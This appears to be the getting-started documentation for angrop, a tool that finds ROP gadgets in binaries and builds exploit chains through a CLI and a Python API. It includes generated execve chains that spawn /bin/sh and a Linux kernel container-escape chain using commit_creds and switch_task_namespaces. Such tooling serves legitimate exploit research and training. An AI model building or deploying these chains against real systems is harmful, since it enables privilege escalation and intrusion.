Skip to main content

Getting Started with angrop

This guide will walk you through using angrop to find gadgets and build ROP chains. We’ll cover both the command-line interface and the Python API.

Using the CLI

The angrop-cli command provides quick access to basic gadget finding and chain building.

Finding Gadgets

To dump all gadgets in a binary:
angrop-cli dump /bin/ls
0x11735: true  : adc bl, byte ptr [rbx + 0x4c]; mov eax, esp; pop r12; pop r13; pop r14; pop rbp; ret 
0x10eaa: true  : adc eax, 0x12469; add rsp, 0x38; pop rbx; pop r12; pop r13; pop r14; pop r15; pop rbp; ret 
0xe026: true  : adc eax, 0xcec8; pop rbx; cmove rax, rdx; pop r12; pop rbp; ret 
0xdfd4: true  : adc eax, 0xcf18; pop rbx; cmove rax, rdx; pop r12; pop rbp; ret 
...
The true/false indicator shows whether the gadget is self-contained (doesn’t depend on previous register state).

Building Predefined Chains

Generate an execve chain:
angrop-cli chain -t execve /bin/bash
code_base = 0x0
chain = b""
chain += p64(code_base + 0x36083)  # pop rax; pop rbx; pop rbp; ret 
chain += p64(code_base + 0x30016)  # add rsp, 8; ret 
chain += p64(code_base + 0x34873)
chain += p64(code_base + 0x0)
chain += p64(code_base + 0x9616d)  # mov edx, ebp; mov rsi, r12; mov rdi, rbx; call rax
chain += p64(code_base + 0xe501e)  # pop rsi; ret 0
chain += p64(code_base + 0x0)
chain += p64(code_base + 0x31470)  # execve@plt
chain += p64(0x0)
chain += p64(code_base + 0x10d5bf)
You can copy this output directly into your exploit!

Using the Python API

The Python API provides much more power and flexibility. Here’s how to use it.

Basic Setup

1

Import and create project

import angr
import angrop

# Load the binary
p = angr.Project("/bin/ls")

# Initialize ROP analysis
rop = p.analyses.ROP()
2

Find gadgets

# Find all ROP gadgets in the binary
rop.find_gadgets()
This will show a progress bar while finding gadgets using multiple processes.
3

Build a chain

# Set register values
chain = rop.set_regs(rax=0x41414141, rbx=0x42424242)

# Print the payload
chain.print_payload_code()

Complete Example

Here’s a complete working example:
import angr
import angrop

# Load binary
p = angr.Project("/bin/ls")

# Initialize ROP analysis
rop = p.analyses.ROP()

# Find gadgets (shows progress bar)
rop.find_gadgets()

# Build a chain to set registers
chain = rop.set_regs(rax=0x41414141, rbx=0x42424242)

# Print the chain as Python code
chain.print_payload_code()
code_base = 0x0
chain = b""
chain += p64(code_base + 0xf5e2)   # pop rbx; pop r12; test eax, eax; pop rbp; cmovs eax, edx; ret 
chain += p64(0x42424242)
chain += p64(0x0)
chain += p64(0x0)
chain += p64(code_base + 0x812f)   # pop rsi; pop rbp; ret 
chain += p64(0x41414141)
chain += p64(0x0)
chain += p64(code_base + 0x169dd)  # mov rax, rsi; ret 
chain += p64(code_base + 0x10a55)

Common Chain Building Patterns

Setting Registers

# Set multiple registers at once
chain = rop.set_regs(rax=0x1337, rbx=0x56565656)

Moving Registers

# Move value from one register to another
chain = rop.move_regs(rax='rdx')

Writing to Memory

# Write a string to memory
chain = rop.write_to_mem(0x61b100, b"/bin/sh\0")

Calling Functions

# Call a function with arguments
chain = rop.func_call("read", [0, 0x804f000, 0x100])

Invoking Syscalls

# Invoke a syscall with arguments
chain = rop.do_syscall(0, [0, 0x41414141, 0x100], needs_return=False)

Generating execve Chains

# Generate an execve("/bin/sh", NULL, NULL) chain
chain = rop.execve()

Chaining Operations

You can chain multiple operations together using +:
chain = (
    rop.write_to_mem(0x61b100, b"/bin/sh\0") +
    rop.set_regs(rax=59, rdi=0x61b100, rsi=0, rdx=0) +
    rop.do_syscall(59, [0x61b100, 0, 0])
)

Debugging Chains

Use pp() to pretty-print a chain for debugging:
chain = rop.set_regs(rax=0x1337, rbx=0x5656)
chain.pp()
0x0000000000034573: pop rcx; ret 
                    0x61b0f8
0x000000000004a1dd: pop rdi; mov edx, 0x89480002; ret 
                    0x68732f6e69622f
0x00000000000d5a94: mov qword ptr [rcx + 8], rdi; ret 
                    <BV64 next_pc_1081_64>

Configuration Options

Customize the ROP analysis with configuration options:
rop = p.analyses.ROP(
    only_check_near_rets=True,    # Only check blocks near returns (faster)
    max_block_size=20,            # Maximum basic block size to consider
    fast_mode=True,               # Skip complex gadgets for speed
    kernel_mode=False             # Set True for kernel binaries
)
fast_mode defaults to None, which automatically decides based on binary size. For large binaries, it enables fast mode to skip gadgets with conditional branches, floating point operations, and jumps.

Bad Bytes

Avoid bad bytes in your chain:
# Avoid null bytes and newlines
rop.set_badbytes([0x0, 0x0a])

# All subsequent chains will avoid these bytes
chain = rop.set_regs(rax=0x1337)

Advanced Example: Kernel Exploitation

Here’s a real-world example for Linux kernel container escape:
import angr
import angrop

# Load kernel image
proj = angr.Project("./vmlinux_sym")

# Configure for kernel mode
rop = proj.analyses.ROP(
    fast_mode=False,
    only_check_near_rets=False,
    max_block_size=12,
    kernel_mode=True
)

# Find gadgets
rop.find_gadgets()

# Build container escape chain
init_cred = 0xffffffff8368b220
init_nsproxy = 0xffffffff8368ad00

chain = (
    rop.func_call("commit_creds", [init_cred]) +
    rop.func_call("find_task_by_vpid", [1]) +
    rop.move_regs(rdi='rax') +
    rop.set_regs(rsi=init_nsproxy, preserve_regs={'rdi'}) +
    rop.func_call("switch_task_namespaces", [], preserve_regs={'rdi', 'rsi'}) +
    rop.func_call('__x64_sys_fork', []) +
    rop.func_call('msleep', [0xffffffff])
)

chain.print_payload_code()

Performance Tips

Use Caching

# Save gadgets for reuse
rop.save_gadgets("/tmp/gadget_cache")

# Load them later
rop.load_gadgets("/tmp/gadget_cache")

Adjust Process Count

# Use more processes for faster finding
rop.find_gadgets(processes=16)

Optimize After Finding

# Skip optimization during finding
rop.find_gadgets(optimize=False)

# Optimize separately
rop.optimize(processes=16)

Use Fast Mode

# Enable fast mode for large binaries
rop = p.analyses.ROP(fast_mode=True)

Next Steps

Now that you know the basics:

Build docs developers (and LLMs) love